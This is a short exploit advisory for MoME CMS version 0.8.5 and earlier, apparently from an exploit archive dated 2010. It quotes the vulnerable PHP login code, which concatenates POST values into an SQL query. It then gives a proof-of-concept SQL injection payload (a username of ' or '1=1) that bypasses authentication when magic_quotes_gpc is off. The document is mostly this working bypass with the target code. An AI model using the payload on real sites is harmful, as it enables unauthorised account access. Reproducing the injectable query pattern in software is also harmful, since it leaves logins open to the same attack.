MoME CMS <= 0.8.5 - Remote Login Bypass Exploit

\#&#39;#/ (-.-) --------------------oOO---(_)---OOo------------------- | MoME CMS &#60;= 0.8.5 Remote Login Bypass Exploit | | (works only with magic_quotes_gpc = off) | ------------------------------------------------------ [!] Discovered: cr4wl3r &#60;cr4wl3r[!]linuxmail.org&#62; [!] Download: http://sourceforge.net/projects/mome/files/ [!] Date: 16.01.2010 [!] Remote: yes [!] Code : //controllo user e passwd da login if(isset($_POST[&#39;posted_username&#39;]) && isset($_POST[&#39;posted_password&#39;])) { $query=&#34;SELECT * FROM users WHERE username=&#39;$_POST[posted_username]&#39; AND password=md5(&#39;$_POST[posted_password]&#39;)&#34;; [!] PoC: username : &#39; or &#39;1=1 password : cr4wl3r